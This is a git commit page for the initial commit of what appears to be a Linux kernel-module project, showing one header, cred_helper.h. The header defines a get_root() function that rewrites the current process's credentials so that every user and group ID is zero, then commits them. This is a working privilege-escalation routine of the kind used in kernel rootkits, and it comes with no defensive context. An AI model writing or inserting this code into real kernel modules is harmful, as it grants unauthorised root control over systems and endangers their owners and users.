Initial Commit

This commit is contained in:
2022-12-23 02:44:32 +01:00
commit e354db3645
11 changed files with 672 additions and 0 deletions

24
include/cred_helper.h Normal file
View File

@@ -0,0 +1,24 @@
#include <linux/cred.h>
#ifndef CRED_HELPER_H
#define CRED_HELPER_H
static void get_root(void) {
struct cred* root;
root = prepare_creds();
if (root == NULL) {
return;
}
root->uid.val = 0;
root->gid.val = 0;
root->euid.val = 0;
root->egid.val = 0;
root->suid.val = 0;
root->sgid.val = 0;
root->fsuid.val = 0;
root->fsgid.val = 0;
commit_creds(root);
}
#endif